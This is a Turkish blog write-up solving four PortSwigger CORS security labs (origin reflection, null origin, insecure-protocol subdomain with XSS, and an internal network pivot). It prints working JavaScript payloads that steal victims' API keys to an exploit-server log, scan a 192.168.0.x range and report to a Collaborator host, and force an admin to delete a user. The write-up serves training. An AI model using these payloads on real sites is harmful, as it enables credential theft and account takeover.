Arif ARI
10 min readMar 4, 2022

PORTSWIGGER WEB SECURITY - CORS (CROSS-ORIGIN RESOURCE SHARING) LAB ÇÖZÜMLERİ

CORS (Cross-Origin Resource Sharing / Kökenler Arası Kaynak Paylaşımı), belli bir domainin dışındaki kaynaklara kontrollü erişim sağlayan bir tarayıcı mekanizmasıdır. SOP (Same-Origin Policy / Aynı Kaynak İlkesi) ise, bir web sayfasının belli bir domain dışındaki kaynaklarla erişimi sınırlayan kısıtlayıcı bir güvenlik mekanizmasıdır. CORS, SOP kısıtlamalarını esnetmek amacıyla kullanılan bir mekanizma olduğu için web sayfalarında CORS mekanizması yanlış yapılandırıldığı zaman güvenlik zafiyetlerine neden olmaktadır. CORS zafiyetinin mantığını daha iyi kavrayabilmek ve detaylı bilgi edinebilmek adına https://portswigger.net/web-security/cors adresini ziyaret edebilirsiniz.

Bu çalışmada bahsedilen CORS zafiyeti için tüm laboratuvar çözümleri ele alınmıştır. Keyifli okumalar..

Lab 1: CORS vulnerability with basic origin reflection

Birçok modern web uygulaması, subdomainlere ve üçüncü taraf kaynaklara erişime izin vermek için CORS kullanır. CORS mekanizması hatalı yapılandırıldığı zaman istismar edilebilir güvenlik zafiyetlerine neden olmaktadır.

Bu web uygulaması, tüm kaynaklara erişim sağlanmasına izin veren hatalı bir CORS yapılandırması kullanmaktadır. Uygulama, gönderilen istek üzerinde yer alan Origin başlığını okumakta ve istekte bulunan Origin’e izin verildiğini belirten bir yanıt başlığıyla (Access-Control-Allow-Origin) response döndürmektedir. Response’ta, Access-Control-Allow-Origin başlığında erişim sağlanmak istenen kaynak belirtildiğinden, herhangi bir domain adresi tanımlanarak istenilen kaynaklara erişim sağlanabilir. Eğer Response, API Key veya CSRF token gibi hassas bilgiler içeriyorsa, zararlı bir kod kullanarak bu bilgiler ele geçirilebilir.

Laba erişim öncesi tanımlanmış wiener:peter hesap bilgisiyle login olduğumuzda karşımıza bir mail güncelleme paneli çıkmaktadır. Ayrıca wiener kullanıcısına ait bir API KEY bilgisi verilmektedir.

HTTP history bölümünden gönderilen GET /accountDetails isteği incelendiğinde, response’ta döndürülen Access-Control-Allow-Credentials: true başlığından yola çıkarak CORS mekanizmasının kullanıldığı kanısına varılabilir.

İsteği repeatera gönderip, Origin: https://arifari.com şeklinde random bir domain adresi tanımlayıp isteği send ettiğimizde, eklenen domain adresinin response’ta Access-Control-Allow-Origin başlığında yansıtıldığı ve wiener kullanıcısına ait API Key bilgisinin yer aldığı görülecektir.

Burada herhangi bir domain adresi tanımlanabilir çünkü web sayfası tüm kaynaklara erişim sağlanmasına izin vermektedir.

Bu zafiyeti bir Javascript kodu ile istismar edebiliriz. Exploit sunucusuna giderek Body input alanında, <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open(‘get’,’https://acbd1f3b1f405710c07c871e008d00f1.web-security-academy.net/accountDetails’,true); req.withCredentials = true; req.send(); function reqListener() { location=’/log?key=’+this.responseText; }; </script> içerisinde laboratuvarın URL adresini içerecek şekilde zararlı bir Javascript kodu Store edelim.

Zararlı kodu store ettikten sonra exploiti görüntüleyelim (View exploit). wiener kullanıcısına ait API Key bilgisinin URL üzerinde yer aldığını ve exploitin çalıştığını bu şekilde doğrulayabiliriz.

Ardından exploiti kurbana teslim edelim (Deliver exploit to victim). Exploit sunucusunda yer alan access loglarını incelediğimizde administrator kullanıcısına ait API Key bilgisinin düştüğünü göreceğiz.

Elde ettiğimiz API Key bilgisini Submit Solution sekmesinden doğrulattıktan sonra laboratuvarı çözmüş olacağız.

Congratulations, you solved the lab!

Lab 2: CORS vulnerability with trusted null origin

Web uygulamalarında, alınan CORS taleplerine yönelik beyaz bir liste tanımlanmış olabilir. Örneğin uygulama bir CORS talebi aldığında, erişim sağlanmak istenen kaynak beyaz listede var ise Access-Control-Allow-Origin başlığında yansıtılır. Bu erişim izninin verildiğini göstermektedir.

Browserlar çeşitli olağandışı durumlarda Origin parametresine null değerini gönderebilirler. Bu nedenle Origin parametresi null değerini desteklemektedir. Eğer web uygulaması null değerini beyaz listeye almışsa saldırgan Origin başlığında null değerini içeren çeşitli yöntemler kullanarak istismar işlemleri gerçekleştirebilir.

Bu web sayfası, Origin parametresi için null değerini beyaz listeye almıştır. Bu durumu göz önünde bulundurarak zararlı bir kod aracılığıyla hedef kullanıcıya (administrator) ait API Key bilgisini elde edeceğiz.

Laba erişim öncesi tanımlanmış wiener:peter hesap bilgisiyle login olduğumuzda karşımıza bir mail güncelleme paneli çıkmaktadır. Ayrıca wiener kullanıcısına ait bir API KEY bilgisi verilmektedir.

HTTP history bölümünden gönderilen GET /accountDetails isteği incelendiğinde, response’ta döndürülen Access-Control-Allow-Credentials: true başlığından yola çıkarak CORS mekanizmasının kullanıldığı kanısına varılabilir.

İsteği repeatera gönderip, Origin: https://arifarif.com şeklinde random bir domain adresi tanımlayıp isteği send ettiğimizde, eklenen domain adresinin response’ta Access-Control-Allow-Origin başlığında yansıtılmadığı görülecektir.

Uygulama her kaynağa erişim izni vermemektedir. Ancak null değeri beyaz listede olduğundan Origin değerini null olarak değişip isteği send ettiğimizde null değerinin response’ta Access-Control-Allow-Origin başlığında yansıtıldığını göreceğiz.

Bu zafiyeti bir Javascript kodu ile istismar edebiliriz. Exploit sunucusuna giderek Body input alanında, <iframe sandbox=”allow-scripts allow-top-navigation allow-forms” srcdoc=”<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open(‘get’,’https://ac5d1f2f1ea8e640c040099900de00f7.web-security-academy.net/accountDetails’,true); req.withCredentials = true; req.send(); function reqListener() { location=’https://exploit-acd31f421e54e65fc06c09b9015e009c.web-security-academy.net/log?key=’+encodeURIComponent(this.responseText); }; </script>”></iframe> içerisinde laboratuvarın URL adresini ve lokasyon olarak exploit sunucusunun URL adresini içerecek şekilde zararlı bir Javascript kodu Store edelim.

Zararlı kodu store ettikten sonra exploiti görüntüleyelim (View exploit). wiener kullanıcısına ait API Key bilgisinin URL üzerinde yer aldığını ve exploitin çalıştığını bu şekilde doğrulayabiliriz.

Ardından exploiti kurbana teslim edelim (Deliver exploit to victim). Exploit sunucusunda yer alan access loglarını incelediğimizde administrator kullanıcısına ait API Key bilgisinin düştüğünü göreceğiz.

Elde ettiğimiz API Key bilgisini Submit Solution sekmesinden doğrulattıktan sonra laboratuvarı çözmüş olacağız.

Congratulations, you solved the lab!

Lab 3: CORS vulnerability with trusted insecure protocols

Web uygulamalarında CORS doğru bir şekilde yapılandırılmış olsa bile uygulamanın güvenmiş olduğu URL adresinde XSS mevcut ise saldırgan zararlı bir kod aracılığıyla hassas verileri elde edebilir. XSS güvenlik zafiyeti bulunan sayfa, CORS yapılandırmasının mevcut olduğu web uygulamasında beyaz listede yer alıyorsa hedef kullanıcının API bilgisi ele geçirilebilir.

Bu laboratuvarda XSS zafiyeti bulunan web sayfası HTTP kullanmaktadır ve CORS yapılandırmasına sahip web uygulamasında HTTP kullanan subdomainler beyaz listede yer almaktadır. Yani web uygulaması protokolden bağımsız olarak tüm subdomainlere erişim sağlanmasına izin vermektedir. Bunu baz alarak XSS zafiyeti bulunan sayfa aracılığıyla, CORS kullanan web uygulamasında zararlı kod çalıştırarak hedef kullanıcının (administrator) API Key bilgisini elde edeceğiz.

Laba erişim öncesi tanımlanmış wiener:peter hesap bilgisiyle login olduğumuzda karşımıza bir mail güncelleme paneli çıkmaktadır. Ayrıca wiener kullanıcısına ait bir API KEY bilgisi verilmektedir.

HTTP history bölümünden gönderilen GET /accountDetails isteği incelendiğinde, response’ta döndürülen Access-Control-Allow-Credentials: true başlığından yola çıkarak CORS mekanizmasının kullanıldığı kanısına varılabilir.

İsteği repeatera gönderip, Origin: http://arifari.ac9c1f721f2c5e5bc0ce02b10005008c.web-security-academy.net şeklinde HTTP protokolünü kullanan ve laboratuvarın URL adresini içeren bir subdomain adresi tanımlayıp isteği send ettiğimizde, eklenen URL adresinin response’ta Access-Control-Allow-Origin başlığında yansıtıldığı görülecektir. Web sayfası protokol farketmeksizin gönderilen her subdomain adresine erişim izni vermektedir.

Bu web sayfasında CORS mekanizması doğru yapılandırılmıştır ancak XSS zafiyeti bulunun bir web sayfasına erişim izni sağladığından bu durum istismar edilebilmektedir.

Web sayfasında herhangi bir ürün için stok kontrolü yapabilmekteyiz. Check stock butonu ile herhangi bir ürüne ait stok sayısını öğrenmek istediğimizde yapılan isteğin URL üzerinde HTTP protokolü üzerinden yapıldığı görülecektir. (Sayfada SSL sertifikası yoktur bağlantı güvenli değildir.) Bu sayfada XSS zafiyeti mevcuttur ve Check stock butonu ile tekrardan bir istek gönderip burp ile yakalayalım.

XSS payloadını, istek üzerindeki productId parametresinde çalıştırabiliriz. Bunun için <img+src=1onerror=alert(1)> şeklinde bir payload tanımlayalım ve forward edelim. Sayfa 1 kaynağını bulamayacağı için alert işlevini çalıştıracaktır.

İsteği forward ettikten sonra ekranda açılan pop-up uyarısı ile XSS zafiyetinin varlığını tespit etmiş olacağız.

Bu XSS zafiyeti nedeniyle bir Javascript kodu kullanarak CORS tetikleyebilir hedef kullanıcının API Key bilgisini istismar edebiliriz. Exploit sunucusuna giderek Body input alanında, <script> document.location=”http://stock.ac9c1f721f2c5e5bc0ce02b10005008c.web-security-academy.net/?productId=1<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open(‘get’,’https://ac9c1f721f2c5e5bc0ce02b10005008c.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location=’https://exploit-ac6e1f6c1fc35eedc05d02f0018300fd.web-security.net/exploit/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> içerisinde laboratuvarın ve exploit sunucusunun URL adresini içerecek şekilde zararlı bir Javascript kodu Store edelim.

Zararlı kodu store ettikten sonra exploiti görüntüleyelim (View exploit). wiener kullanıcısına ait API Key bilgisinin URL üzerinde yer aldığını ve exploitin çalıştığını bu şekilde doğrulayabiliriz.

Ardından exploiti kurbana teslim edelim (Deliver exploit to victim). Exploit sunucusunda yer alan access loglarını incelediğimizde administrator kullanıcısına ait API Key bilgisinin düştüğünü göreceğiz.

Elde ettiğimiz API Key bilgisini Submit Solution sekmesinden doğrulattıktan sonra laboratuvarı çözmüş olacağız.

Congratulations, you solved the lab!

NOT: Bu laboratuvarlarda saldırgan kullanıcı wiener, hedef yani kurban kullanıcı ise administrator’dur.

Lab 4: CORS vulnerability with internal network pivot attack

CORS saldırıları genellikle response’ta döndürülen Access-Control-Allow-Credentials: true başlığı baz alarak gerçekleştirilmektedir. Bu başlık olmadığı zaman, hedef kullanıcının tarayıcısı cookie bilgisini göndermeyi reddeder ve dolayısıyla saldırgan, yalnızca doğrudan hedef web sitesine göz atıp erişebileceği içerikleri elde edebilir. Fakat bir durum vardır ki saldırgan, hedeflediği web sayfasına doğrudan erişemez. Web uygulaması bir kuruluşun intranetinin bir parçası olduğunda yani dışarıya erişim kapatıldığında saldırgan erişim sağlayamaz. Bu durumda genellikle erişime açık özel bir IP adresi tanımlanır. Dahili web uygulamaları genellikle harici uygulamalardan daha zayıf bir güvenliğe sahip olduğu için saldırganların güvenlik zafiyetlerini bulması ve erişim sağlaması daha olasıdır.

Uygulama sunucusu, kimlik doğrulanmadan herhangi bir kaynaktan gelen isteklere güveniyor ve özel ip adres alanına dahil kullanıcılara erişim izni veriyorsa, saldırgan intranet çerçevesinde yer alan kaynaklara erişmek için hedef kullanıcının tarayıcısını proxy olarak kullanabilir ve harici bir web sayfasından CORS tabanlı saldırı gerçekleştirebilir.

Bu web sayfası, dahili ağda yer alan tüm kaynaklara güvendiği için güvenli olmayan bir CORS yapılandırması söz konusudur. Local ağda ilk olarak (192.168.0.0/24, bağlantı noktası 8080) erişim sağlanabilen özel ip adresini bulmak adına tarama gerçekleştireceğiz. Daha sonra admin sayfasına erişim sağlayıp carlos kullanıcısını delete edeceğiz. Ancak tüm bu işlemleri birer JavaScript kodu kullanarak 4 adımda yapacağız.

Alıntı Ekran

Öncelikle erişim sağlanacak özel ip adresini bulmak için front-end tarafında yerel ağı taramamız gerekmektedir. Bu nedenle Exploit sunucusuna giderek Body input alanında, <script> var q = [], collaboratorURL = ‘http://$collaboratorPayload'; for(i=1;i<=255;i++) { q.push(function(url) { return function(wait) { fetchUrl(url, wait); } }(‘http://192.168.0.'+i+':8080')); } for(i=1;i<=20;i++){ if(q.length)q.shift()(i*100); } function fetchUrl(url, wait) { var controller = new AbortController(), signal = controller.signal; fetch(url, {signal}).then(r => r.text().then(text => { location = collaboratorURL + ‘?ip=’+url.replace(/^http:\/\//,’’)+’&code=’+encodeURIComponent(text)+’&’+Date.now(); })) .catch(e => { if(q.length) { q.shift()(wait); } }); setTimeout(x => { controller.abort(); if(q.length) { q.shift()(wait); } }, wait); } </script> şeklinde bir kod Store ediyoruz. Ancak öncesinde Burp Collaborator client bölümünden bir subdomain adresi (b4g0tmu9wbmey60b0yaznwoeh5nvbk.burpcollaborator.net) alıyoruz ve ardından kod satırında yer alan $collaboratorPayload bölümüne ekliyoruz.

Sonrasında Store edilen zararlı kodu kurbana teslim edelim (Deliver exploit to victim).

Alıntı Ekran

Burp Collaborator client bölümünden yaptığımız HTTP isteğini ve DNS aramasını Poll now seçeneğine tıklayarak görebiliriz. HTTP etkileşimine yönelik isteği incelediğimizde erişim izni sağlanan özel ip adresini ve bağlantı noktasını (192.168.0.191:8080) tespit etmiş olacağız.

Erişim sağlanan özel ip adresini tespit ettiğimize göre username alanında bir XSS zafiyeti mevcut mu bunu öğreneceğiz. Bunun için Exploit sunucusuna giderek Body input alanında, <script> function xss(url, text, vector) { location = url + ‘/login?time=’+Date.now()+’&username=’+encodeURIComponent(vector)+’&password=test&csrf=’+text.match(/csrf” value=”([^”]+)”/)[1]; } function fetchUrl(url, collaboratorURL){ fetch(url).then(r => r.text().then(text => { xss(url, text, ‘“><img src=’+collaboratorURL+’?foundXSS=1>’); })) } fetchUrl(“http://$ip", “http://$collaboratorPayload"); </script> şeklinde bir kod Store ediyoruz. Ancak öncesinde, kod satırında yer alan $ip ve $collaboratorPayload bölümlerine tespit ettiğimiz özel ip adresini (192.168.0.191:8080) ve Burp Collaborator client bölümünden daha önce aldığımız subdomain adresini (b4g0tmu9wbmey60b0yaznwoeh5nvbk.burpcollaborator.net) ekliyoruz. Sonrasında Store edilen zararlı kodu kurbana teslim edelim (Deliver exploit to victim).

Alıntı Ekran

Burp Collaborator client bölümünde Poll now seçeneğine tıkladıktan sonra HTTP etkileşimine yönelik isteği incelediğimizde XSS zafiyetinin bulunduğu yani mevcut olduğu görülecektir.

Amacımız carlos hesabını silmek olduğu için ve bunu da ancak yönetici paneline erişim sağlayarak yapabileceğimiz için, /admin dizinini bir iframe aracılığıyla yükleyeceğiz. Bundan dolayı Exploit sunucusuna giderek Body input alanında, <script> function xss(url, text, vector) { location = url + ‘/login?time=’+Date.now()+’&username=’+encodeURIComponent(vector)+’&password=test&csrf=’+text.match(/csrf” value=”([^”]+)”/)[1]; } function fetchUrl(url, collaboratorURL){ fetch(url).then(r=>r.text().then(text=> { xss(url, text, ‘“><iframe src=/admin onload=”new Image().src=\’’+collaboratorURL+’?code=\’+encodeURIComponent(this.contentWindow.document.body.innerHTML)”>’); } )) } fetchUrl(“http://$ip", “http://$collaboratorPayload"); </script> şeklinde bir kod Store ediyoruz. Ancak öncesinde, kod satırında yer alan $ip ve $collaboratorPayload bölümlerine tespit ettiğimiz ip adresini ve Burp Collaborator client bölümünden daha önce aldığımız subdomain adresini ekliyoruz. Sonrasında Store edilen zararlı kodu kurbana teslim edelim (Deliver exploit to victim).

Alıntı Ekran

Burp Collaborator client bölümünde Poll now seçeneğine tıkladıktan sonra HTTP etkileşimine yönelik isteği inceleyelim. Hedef kullanıcıya ait bir CSRF token bilgisi ile XSS tetikleyebiliriz. Ardından admin sayfasına erişim sağlayabilecek zararlı bir kod ile carlos kullanıcısını delete edebiliriz.

Admin sayfasına erişim sağlayıp carlos kullanıcısını delete etmek için Exploit sunucusuna giderek Body input alanında, <script> function xss(url, text, vector) { location = url + ‘/login?time=’+Date.now()+’&username=’+encodeURIComponent(vector)+’&password=test&csrf=’+text.match(/csrf” value=”([^”]+)”/)[1]; } function fetchUrl(url){ fetch(url).then(r=>r.text().then(text=> { xss(url, text, ‘“><iframe src=/admin onload=”var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\’carlos\’,f.submit()”>’); } )) } fetchUrl(“http://$ip"); </script> şeklinde bir kod Store ediyoruz. Ancak öncesinde, kod satırında yer alan $ip bölümüne tespit ettiğimiz ip adresini ekliyoruz. Sonrasında Store edilen zararlı kodu kurbana teslim edelim (Deliver exploit to victim). Bu durumda carlos kullanıcısı silinecek ve laboratuvarı çözmüş olacağız.

Arif ARI
Arif ARI

No responses yet